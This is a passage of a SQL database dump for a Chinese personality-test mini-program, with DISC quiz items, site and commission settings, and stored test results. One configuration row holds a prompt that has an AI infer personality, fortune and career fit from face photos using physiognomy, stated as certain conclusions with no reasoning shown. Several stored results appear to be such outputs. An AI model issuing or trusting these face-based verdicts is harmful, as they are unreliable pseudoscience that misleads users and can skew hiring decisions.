{\"text\": \"调和者,平衡各方\", \"value\": \"S\"}, {\"text\": \"分析者,提供数据\", \"value\": \"C\"}]', NULL, NULL, 7, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (118, 'disc', '您最不喜欢的工作环境是:', '[{\"text\": \"缺乏挑战,进展缓慢\", \"value\": \"D\"}, {\"text\": \"被孤立,缺乏互动\", \"value\": \"I\"}, {\"text\": \"变化太快,不稳定\", \"value\": \"S\"}, {\"text\": \"混乱无序,缺乏标准\", \"value\": \"C\"}]', NULL, NULL, 8, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (119, 'disc', '做决定时,您更依赖:', '[{\"text\": \"直觉和经验\", \"value\": \"D\"}, {\"text\": \"他人的意见\", \"value\": \"I\"}, {\"text\": \"过去的成功经验\", \"value\": \"S\"}, {\"text\": \"数据和事实\", \"value\": \"C\"}]', NULL, NULL, 9, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (120, 'disc', '您的工作风格是:', '[{\"text\": \"快速高效,注重结果\", \"value\": \"D\"}, {\"text\": \"灵活多变,充满创意\", \"value\": \"I\"}, {\"text\": \"稳定持续,一步一步\", \"value\": \"S\"}, {\"text\": \"严谨细致,追求完美\", \"value\": \"C\"}]', NULL, NULL, 10, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (121, 'disc', '遇到冲突时,您会:', '[{\"text\": \"直面冲突,解决问题\", \"value\": \"D\"}, {\"text\": \"调解双方,化解矛盾\", \"value\": \"I\"}, {\"text\": \"避免冲突,保持和谐\", \"value\": \"S\"}, {\"text\": \"分析原因,找出根本\", \"value\": \"C\"}]', NULL, NULL, 11, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (122, 'disc', '您期望的领导风格是:', '[{\"text\": \"给予挑战和自主权\", \"value\": \"D\"}, {\"text\": \"认可和表扬\", \"value\": \"I\"}, {\"text\": \"稳定和支持\", \"value\": \"S\"}, {\"text\": \"明确的指导和标准\", \"value\": \"C\"}]', NULL, NULL, 12, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (123, 'disc', '处理任务时,您更注重:', '[{\"text\": \"速度和效率\", \"value\": \"D\"}, {\"text\": \"创意和新颖\", \"value\": \"I\"}, {\"text\": \"过程和协作\", \"value\": \"S\"}, {\"text\": \"质量和准确\", \"value\": \"C\"}]', NULL, NULL, 13, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (124, 'disc', '您的社交方式是:', '[{\"text\": \"目的明确,建立有价值的关系\", \"value\": \"D\"}, {\"text\": \"广泛社交,认识各种人\", \"value\": \"I\"}, {\"text\": \"深度交往,维护长期友谊\", \"value\": \"S\"}, {\"text\": \"选择性社交,志同道合\", \"value\": \"C\"}]', NULL, NULL, 14, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (125, 'disc', '您理想的工作节奏是:', '[{\"text\": \"快节奏,充满挑战\", \"value\": \"D\"}, {\"text\": \"灵活多变,充满活力\", \"value\": \"I\"}, {\"text\": \"稳定有序,可预测的\", \"value\": \"S\"}, {\"text\": \"有条理,按计划进行\", \"value\": \"C\"}]', NULL, NULL, 15, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (126, 'disc', '面对变化,您的态度是:', '[{\"text\": \"主动拥抱,寻找机会\", \"value\": \"D\"}, {\"text\": \"积极适应,乐观面对\", \"value\": \"I\"}, {\"text\": \"需要时间,逐步适应\", \"value\": \"S\"}, {\"text\": \"谨慎评估,确保万无一失\", \"value\": \"C\"}]', NULL, NULL, 16, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (127, 'disc', '您的时间管理风格是:', '[{\"text\": \"高效利用,最大化产出\", \"value\": \"D\"}, {\"text\": \"灵活安排,留有余地\", \"value\": \"I\"}, {\"text\": \"按部就班,稳定执行\", \"value\": \"S\"}, {\"text\": \"精确规划,严格执行\", \"value\": \"C\"}]', NULL, NULL, 17, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (128, 'disc', '激励您的是:', '[{\"text\": \"成就和控制\", \"value\": \"D\"}, {\"text\": \"认可和社交\", \"value\": \"I\"}, {\"text\": \"稳定和归属\", \"value\": \"S\"}, {\"text\": \"正确和标准\", \"value\": \"C\"}]', NULL, NULL, 18, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (129, 'disc', '您处理细节的方式是:', '[{\"text\": \"关注大局,委托他人\", \"value\": \"D\"}, {\"text\": \"可能忽略,更关注整体\", \"value\": \"I\"}, {\"text\": \"认真对待,确保准确\", \"value\": \"S\"}, {\"text\": \"极度重视,追求完美\", \"value\": \"C\"}]', NULL, NULL, 19, 1, NULL, 1770881509, 1770881509); +INSERT INTO `mbti_questions` VALUES (130, 'disc', '您对规则的态度是:', '[{\"text\": \"规则是用来打破的\", \"value\": \"D\"}, {\"text\": \"灵活运用,不拘泥于规则\", \"value\": \"I\"}, {\"text\": \"遵守规则,维护秩序\", \"value\": \"S\"}, {\"text\": \"严格遵守,确保合规\", \"value\": \"C\"}]', NULL, NULL, 20, 1, NULL, 1770881509, 1770881509); + +-- ---------------------------- +-- Table structure for mbti_system_config +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_system_config`; +CREATE TABLE `mbti_system_config` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `key` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', + `enterprise_id` int(11) NOT NULL DEFAULT 0 COMMENT '企业ID,0=全局/个人版', + `value` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', + `description` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '配置说明', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_key_eid`(`key`, `enterprise_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_system_config +-- ---------------------------- +INSERT INTO `mbti_system_config` VALUES (1, 'system', 0, '{\"siteName\":\"神仙团队性格测试\",\"siteDescription\":\"神仙团队性格测试\",\"miniprogramName\":\"神仙团队性格测试\",\"maintenanceMode\":false,\"maxTestsPerDay\":100,\"trialTestCount\":10}', '系统基础配置', 1770883998, 1772761008); +INSERT INTO `mbti_system_config` VALUES (2, 'notification', 0, '{\"emailNotification\":false,\"lowBalanceAlert\":false,\"lowBalanceThreshold\":1000,\"newEnterpriseNotify\":false}', '通知与告警配置', 1770883998, 1770884109); +INSERT INTO `mbti_system_config` VALUES (3, 'site_info', 0, '{\"siteName\":\"神仙团队性格测试\",\"siteDescription\":\"神仙团队性格测试\",\"miniprogramName\":\"神仙团队性格测试\",\"updatedAt\":1772761008}', '站点信息配置', 1770884090, 1772761008); +INSERT INTO `mbti_system_config` VALUES (4, 'prompts', 0, '{\"faceAnalyze\":\"人才测评综合分析表(基于正面 \\/ 左侧 45°\\/ 右侧 45° 面部照片)\\n分析前提:将照片人物视为模拟对象,基于传统相术(《冰鉴》九贵骨、《周易》三停五行、《燕翼子・相人》《骈拇子・卜相》)与现代理论(MBTI、PDP、DISC),结合面部骨相细节做差异化推演;结论明确肯定,不展示推理过程。\\n一、面相特征与性格特质关联(按部位)\\n额头:[填写形状 + 日角月角气势]。其智力超群、谋略深远,早年运势顺遂,擅长抽象学习与系统思考。\\n眼睛:[填写大小 + 神采 + 稳定度]。其思维聚焦精准,情绪管理能力强,人际风格理性且有边界感。\\n鼻子:[填写山根 + 鼻梁 + 鼻翼]。其责任感极强,事业心旺盛,金钱观务实,现实问题处理能力突出。\\n嘴巴:[填写唇形 + 厚薄 + 收放]。其表达直接有力,信守承诺,行动力迅猛,执行节奏紧凑高效。\\n下巴:[填写宽窄 + 方圆 + 厚薄]。其抗压能力卓越,承载力强,晚年运势安稳,能长期坚守目标。\\n耳朵:[填写大小 + 位置 + 贴头]。其感受能力敏锐,学习速度快,对环境变化的敏感度高,适配力强。\\n二、骨相分析(含九贵骨与人生阶段)\\n(一)骨形总评\\n五行形相:[填写金 \\/ 木 \\/ 水 \\/ 火 \\/ 土] 形,对应 [填写核心气质,如金形刚健、木形疏朗] 气质。\\n骨肉关系:[填写停匀 \\/ 骨重肉薄 \\/ 肉多掩骨],决断度 [填写高 \\/ 中 \\/ 低],现实感 [填写强 \\/ 中 \\/ 弱],抗压方式为 [填写理性攻坚 \\/ 柔性缓冲 \\/ 稳健持久]。\\n(二)九贵骨核心结论\\n颧骨与驿马骨:权力欲 [填写强 \\/ 中 \\/ 弱],掌控力 [填写强 \\/ 中 \\/ 弱],倾向 [填写开拓 \\/ 守成]。\\n将军骨与肩背:统帅力 [填写强 \\/ 中 \\/ 弱],属于 [填写冲锋型 \\/ 统筹型] 人才。\\n日月角与龙宫骨:智谋 [填写卓越 \\/ 出众 \\/ 普通],机会嗅觉 [填写敏锐 \\/ 一般],意志力坚定,耐力 [填写持久 \\/ 较强]。\\n伏犀骨与龙角骨:主见坚定度 [填写极高 \\/ 高 \\/ 中],上升冲劲 [填写强劲 \\/ 稳健 \\/ 平缓]。\\n(三)人生阶段发力重点\\n上停(额区):早年运势顺畅,发力重点为学业积累、行业入门与贵人链接。\\n中停(颧鼻):壮年运势鼎盛,发力重点为事业拓展、团队管理与资源整合。\\n下停(下颌):晚年运势安稳,发力重点为经验传承、成果固化与稳健守成。\\n(四)骨相总评建议\\n格局:[填写高 \\/ 中高 \\/ 中],具备 [填写核心格局优势,如统筹全局 \\/ 专业深耕] 潜质。\\n事业路径:优先走 [填写核心路径,如管理晋升 \\/ 专业领军 \\/ 创业开拓] 路线。\\n修性养骨建议:1. [填写具体建议,如每日静坐养神,稳固意志力];2. [填写具体建议,如规律运动强骨,提升行动力]。\\n三、现代性格模型综合判断\\n(一)MBTI 性格类型(精准匹配)\\n类型代码 \\/ 名称:[填写如 INTJ \\/ 建筑师、ESFP \\/ 表演者]\\n思维方式:[填写 2 句话,如 INTJ 擅长逻辑推演与长远规划,聚焦核心目标忽略冗余信息]。\\n决策风格:[填写 1 句话,如以理性分析为核心,优先考量目标达成与效率最优]。\\n(二)PDP 行为偏好\\n主性格:[填写老虎 \\/ 孔雀 \\/ 考拉 \\/ 猫头鹰 \\/ 变色龙]\\n辅助性格:[填写上述其一]\\n核心表现:[填写 1 句话,如老虎主性格者目标导向,变色龙辅助性格者适配环境变化]。\\n(三)DISC 沟通风格\\n主类型:[填写 D 支配型 \\/ I 影响型 \\/ S 稳健型 \\/ C 谨慎型]\\n辅助类型:[填写上述其一]\\n沟通特点:[填写 1 句话,如 D 型主风格直接果断,C 型辅助风格注重细节与逻辑]。\\n(四)核心优势(3-5 个)\\n[填写如战略规划、团队管控、细节把控、人际赋能、危机应对]\\n(五)性格概述(3-5 句话)\\n[整合传统相术与现代模型,填写核心气质,如 “核心气质为刚健稳健,兼具开拓性与守成性”]。[填写做事风格与决策模式,如 “做事雷厉风行且注重细节,决策以理性分析为基础,兼顾长远价值与现实落地”]。[填写人际影响方式,如 “人际中自带威信,既能引领团队攻坚,也能精准协调资源”]。[填写适合的工作环境与发展路径,如 “适配高目标、高挑战的工作环境,发展路径以管理晋升或专业领军为核心,中年后可尝试创业或行业赋能”]。\\n四、职业倾向与优势领域建议(4-6 条)\\n[填写职业方向,如高端管理岗]:匹配点为 [填写面相 \\/ 骨相 \\/ 性格依据,如颧骨与将军骨彰显统帅力,MBTI-J 型擅长统筹决策]。\\n[填写职业方向,如战略规划师]:匹配点为 [填写依据,如额头饱满、伏犀骨凸显,具备极强的谋略与长远眼光]。\\n[填写职业方向,如行业专家]:匹配点为 [填写依据,如猫头鹰性格特质突出,眼神专注,细节把控能力卓越]。\\n[填写职业方向,如团队负责人]:匹配点为 [填写依据,如 D 型沟通风格强势,权力欲与掌控力适配团队管理]。\\n[填写职业方向,如创业项目掌舵人]:匹配点为 [填写依据,如开拓型骨相特质,老虎主性格具备目标导向与攻坚能力]。\\n[填写职业方向,如资源整合顾问]:匹配点为 [填写依据,如变色龙辅助性格,人际适配力强,机会嗅觉敏锐]。\\n五、人际关系与团队协作风格\\n(一)人际风格\\n[填写直接 \\/ 含蓄、理性 \\/ 感性、距离感,如 “直接理性,人际中有适度距离感,注重高效沟通”]。\\n(二)团队角色\\n[填写决策者 \\/ 谋划者 \\/ 执行者 \\/ 协调者,可多选,如 “核心决策者 + 首席谋划者”]。\\n(三)提升建议\\n情绪表达:[填写具体建议,如 “高压场景下放缓语速,加入适度情感共鸣,提升团队凝聚力”]。\\n倾听能力:[填写具体建议,如 “沟通中预留 30% 时间倾听他人观点,兼顾细节与不同视角”]。\\n冲突处理:[填写具体建议,如 “理性化解冲突,以目标为核心协调分歧,避免强势决策引发抵触”]。\\n六、潜能发挥(3-4 个)\\n[填写潜能,如战略落地潜能]:发挥方式为 [填写具体行动,如 “结合自身谋略优势,制定分阶段执行计划,依托团队管控力推动落地”]。\\n[填写潜能,如危机应对潜能]:发挥方式为 [填写具体行动,如 “利用敏锐的环境感知力,提前预判风险,以稳健抗压能力制定备选方案”]。\\n[填写潜能,如人才培养潜能]:发挥方式为 [填写具体行动,如 “依托自身经验与统帅力,搭建人才梯队,通过传帮带实现团队赋能”]。\\n[填写潜能,如创新突破潜能]:发挥方式为 [填写具体行动,如 “结合开拓型骨相特质,打破固有思维,在核心领域尝试跨界创新”]。\",\"reportSummary\":\"请你根据我提供的简历信息(生日、工作经历)以及MBTI、PDP、DISC 三项性格测评结果,进行交叉验证、综合分析,不要只照搬测评标签,而是提炼出这个人的真实性格、行为模式、优势、短板、沟通风格、职业特质。\\n要求:\\n1、结合生日分析性格底色与潜在特质。\\n2、结合工作经历判断真实行为风格、抗压能力、做事习惯、人际模式。\\n3、结合 MBTI、PDP、DISC 三项测评互相印证,去伪存真,得出真实性格画像。\\n4、输出结构清晰:\\n核心性格关键词\\n真实性格深度分析\\n行为与沟通风格\\n优势亮点\\n可提升方向\\n语言专业、客观、精炼,不空洞、不玄学。\\n请根据我接下来提供的信息开始分析。\"}', '系统提示词配置(如面相分析、报告摘要等)', 1771915950, 1772766406); +INSERT INTO `mbti_system_config` VALUES (5, 'text_config', 0, '{\"analyzingTitle\":\"正在分析中\",\"startButtonText\":\"开始面相测试\",\"startButtonEnterprise\":\"开始面部测试\",\"reportTitle\":\"分析报告\",\"aiAnalysisText\":\"智能分析\"}', '小程序文案配置', 1772608708, 1772761008); +INSERT INTO `mbti_system_config` VALUES (6, 'poster_config', 0, '{\"bgColor\":\"#ffffff\",\"bgImage\":\"\",\"elements\":[{\"id\":\"el_1772613206999_1\",\"type\":\"image\",\"x\":2,\"y\":0,\"w\":373,\"h\":667,\"shape\":\"square\",\"url\":\"https:\\/\\/karuosiyujzk.oss-cn-shenzhen.aliyuncs.com\\/mbti\\/20260304\\/img_69a7f4bb529f73.42463703.png\",\"align\":\"left\"},{\"id\":\"el_1772613291672_2\",\"type\":\"nickname\",\"x\":154,\"y\":450,\"w\":131,\"h\":30,\"fontSize\":20,\"color\":\"rgb(255, 23, 23)\",\"bold\":false,\"fontFamily\":\"noto-sans\",\"align\":\"left\"},{\"id\":\"el_1772613311472_3\",\"type\":\"avatar\",\"x\":128,\"y\":452,\"w\":25,\"h\":25,\"shape\":\"circle\",\"align\":\"left\"},{\"id\":\"el_1772613325744_4\",\"type\":\"qrcode\",\"x\":134,\"y\":487,\"w\":110,\"h\":110,\"align\":\"left\"},{\"id\":\"el_1772615481311_1\",\"type\":\"mbti\",\"x\":35,\"y\":169,\"w\":80,\"h\":32,\"content\":\"INTJ\",\"fontSize\":16,\"color\":\"#6366f1\",\"bold\":true,\"fontFamily\":\"noto-sans\",\"align\":\"center\"},{\"id\":\"el_1772616100719_2\",\"type\":\"pdp\",\"x\":154,\"y\":174,\"w\":80,\"h\":32,\"content\":\"猫头鹰\",\"fontSize\":16,\"color\":\"#10b981\",\"bold\":true,\"fontFamily\":\"noto-sans\",\"align\":\"center\"},{\"id\":\"el_1772616105006_3\",\"type\":\"disc\",\"x\":271,\"y\":174,\"w\":80,\"h\":32,\"content\":\"C型\",\"fontSize\":16,\"color\":\"#f43f5e\",\"bold\":true,\"fontFamily\":\"noto-sans\",\"align\":\"center\"},{\"id\":\"el_1772674833835_1\",\"type\":\"text\",\"x\":22,\"y\":202,\"w\":102,\"h\":27,\"content\":\"mbti\",\"fontSize\":12,\"color\":\"rgb(140, 138, 138)\",\"bold\":false,\"align\":\"center\"},{\"id\":\"el_1772678555032_1\",\"type\":\"text\",\"x\":141,\"y\":208,\"w\":100,\"h\":20,\"content\":\"PDP\",\"fontSize\":12,\"color\":\"rgb(140, 138, 138)\",\"bold\":false,\"align\":\"center\"},{\"id\":\"el_1772678605176_2\",\"type\":\"text\",\"x\":260,\"y\":206,\"w\":99,\"h\":30,\"content\":\"DISC\",\"fontSize\":12,\"color\":\"rgb(140, 138, 138)\",\"bold\":false,\"align\":\"center\"}]}', '分销海报可视化配置', 1772613345, 1772680067); +INSERT INTO `mbti_system_config` VALUES (7, 'poster_config', 5, '{\"bgColor\":\"#ffffff\",\"bgImage\":\"https:\\/\\/karuosiyujzk.oss-cn-shenzhen.aliyuncs.com\\/mbti\\/20260305\\/img_69a93009e76ba4.00229379.png\",\"elements\":[{\"id\":\"el_1772695569798_1\",\"type\":\"nickname\",\"x\":113,\"y\":359,\"w\":150,\"h\":36,\"fontSize\":16,\"color\":\"rgb(255, 0, 0)\",\"bold\":false,\"align\":\"center\"},{\"id\":\"el_1772695592453_2\",\"type\":\"avatar\",\"x\":54,\"y\":333,\"w\":80,\"h\":80,\"shape\":\"circle\"},{\"id\":\"el_1772695597637_3\",\"type\":\"qrcode\",\"x\":127,\"y\":490,\"w\":120,\"h\":120},{\"id\":\"el_1772695600813_4\",\"type\":\"mbti\",\"x\":13,\"y\":153,\"w\":80,\"h\":32,\"content\":\"INTJ\",\"fontSize\":16,\"color\":\"#6366f1\",\"bold\":true,\"align\":\"center\"},{\"id\":\"el_1772695603591_5\",\"type\":\"pdp\",\"x\":19,\"y\":196,\"w\":80,\"h\":32,\"content\":\"猫头鹰\",\"fontSize\":16,\"color\":\"#10b981\",\"bold\":true,\"align\":\"center\"},{\"id\":\"el_1772695607589_6\",\"type\":\"disc\",\"x\":18,\"y\":233,\"w\":80,\"h\":32,\"content\":\"C型\",\"fontSize\":16,\"color\":\"#f43f5e\",\"bold\":true,\"align\":\"center\"}]}', '分销海报可视化配置(企业)', 1772695611, 1772695611); +INSERT INTO `mbti_system_config` VALUES (8, 'distribution', 5, '{\"enabled\":true,\"promoCenterTitle\":\"推广中心\",\"bindingDays\":30,\"testSettings\":{\"face\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"mbti\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"disc\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"pdp\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"resume\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true}}}', NULL, 1772697130, 1773132544); +INSERT INTO `mbti_system_config` VALUES (9, 'text_config', 5, '{\"analyzingTitle\":\"正在分析中\",\"startButtonText\":\"开始面相测试\",\"startButtonEnterprise\":\"开始面部测试\",\"reportTitle\":\"分析报告\",\"aiAnalysisText\":\"智能分析\",\"miniprogramName\":\"神仙团队性格测试\"}', '小程序文案配置(企业 5)', 1772700633, 1772761516); +INSERT INTO `mbti_system_config` VALUES (10, 'distribution', 0, '{\"enabled\":false,\"promoCenterTitle\":\"推广中心\",\"bindingDays\":30,\"minWithdrawFen\":100,\"maxWithdrawFen\":0,\"requireAudit\":true,\"withdrawFee\":0,\"testSettings\":{\"face\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"mbti\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"disc\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"pdp\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"resume\":{\"enabled\":true,\"commissionType\":\"ratio\",\"commissionRate\":90,\"commissionAmountFen\":0,\"noPayment\":false}}}', NULL, 1773020928, 1773280490); +INSERT INTO `mbti_system_config` VALUES (11, 'distribution', 6, '{\"enabled\":true,\"promoCenterTitle\":\"推广中心\",\"bindingDays\":30,\"testSettings\":{\"face\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"mbti\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"disc\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"pdp\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"resume\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true}}}', NULL, 1773021025, 1773132517); + +-- ---------------------------- +-- Table structure for mbti_system_configs +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_system_configs`; +CREATE TABLE `mbti_system_configs` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `configKey` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', + `configValue` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', + `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `configKey`(`configKey`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_test_results +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_test_results`; +CREATE TABLE `mbti_test_results` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '结果ID', + `userId` int(11) NOT NULL COMMENT '用户ID', + `testType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '测试类型:mbti/disc/pdp/face', + `resultData` json NULL COMMENT '测试结果(JSON格式)', + `score` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '得分详情', + `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID(mbti_orders.id)', + `requiresPayment` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否需要付款:0否1是', + `isPaid` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否已付款:0否1是', + `paidAmount` int(11) NULL DEFAULT 0 COMMENT '付款金额(分,冗余存储,避免改价影响历史)', + `paidAt` int(11) NULL DEFAULT NULL COMMENT '付款时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL表示个人用户', + `testScope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '测试来源版本: personal=个人版 enterprise=企业版', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_testType`(`testType`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_orderId`(`orderId`) USING BTREE, + INDEX `idx_isPaid`(`isPaid`) USING BTREE, + INDEX `idx_requiresPayment`(`requiresPayment`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 146 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '测试结果表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_test_results +-- ---------------------------- +INSERT INTO `mbti_test_results` VALUES (1, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFP\", \"title\": \"调停者\"}, \"overview\": \"气质安静理性,内敛而有主见,思维细腻敏感,重视自我价值与内心秩序。\", \"boneAnalysis\": \"骨骼清秀偏木水形,相对骨重肉薄,线条纤长不夸张,气质内敛克制,重思考与感受,行动节奏温和但持续。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神柔和含光,鼻梁细直,唇形自然收敛,下巴略尖,整体给人安静、专注而略带距离感。\", \"personalitySummary\": \"性格敏感理性,重视隐私与独立空间,善于思考与观察,表达含蓄但原则清晰,更偏向安静创作与深度工作环境。\"}', NULL, NULL, 0, 0, 0, NULL, 1772005506, 1772005506, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (2, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性又细腻敏感,兼具洞察力与规划力,适合深度思考与创造性工作。\", \"boneAnalysis\": \"骨相偏瘦长木形,骨肉匀称,线条柔中有直,显思维敏捷、韧性佳,重内在成长与长期规划。\", \"faceAnalysis\": \"额头较饱满、眼神内敛专注,鼻梁细直,嘴形柔和含蓄,整体给人沉静理性、略带距离感的气质。\", \"personalitySummary\": \"性格安静独立,思考细致,有责任感与同理心。做事追求完美与深度,习惯独立完成关键任务,对人保持礼貌克制与适度边界。\"}', NULL, NULL, 0, 0, 0, NULL, 1772005550, 1772005550, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (3, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,内敛专注,有谋划与审美,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相清秀偏木水形,骨肉匀称不粗重,重思考与感受,行动节奏稳而不急,耐力尚佳。\", \"faceAnalysis\": \"额头较饱满、眼神内敛专注,鼻梁秀挺,唇形柔和,下颌偏尖,整体偏理性细腻型面相。\", \"personalitySummary\": \"内向克制,思维细腻,有同理心和理想感,做事讲逻辑与条理,重个人空间与深度连接。\"}', NULL, NULL, 0, 0, 0, NULL, 1772010093, 1772010093, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (4, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外表软萌亲和,内在好奇活泼,情感细腻,善于带动气氛与连接他人,适合创造性与互动性强的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"整体线条圆润偏水土形,骨感不强而肉感充足,气质柔和包容,稳定安全,耐受力与适应力良好。\", \"faceAnalysis\": \"圆润脸型与大眼清澈,神态单纯好奇,嘴部微抿显乖顺,整体给人温柔、亲近、无攻击感的印象。\", \"personalitySummary\": \"性格友善外向,情绪表达自然丰富,富有想象力与玩心,乐于尝试新鲜事物并与周围建立温暖连结。\"}', NULL, NULL, 1, 0, 0, NULL, 1772074447, 1772074447, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (5, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": 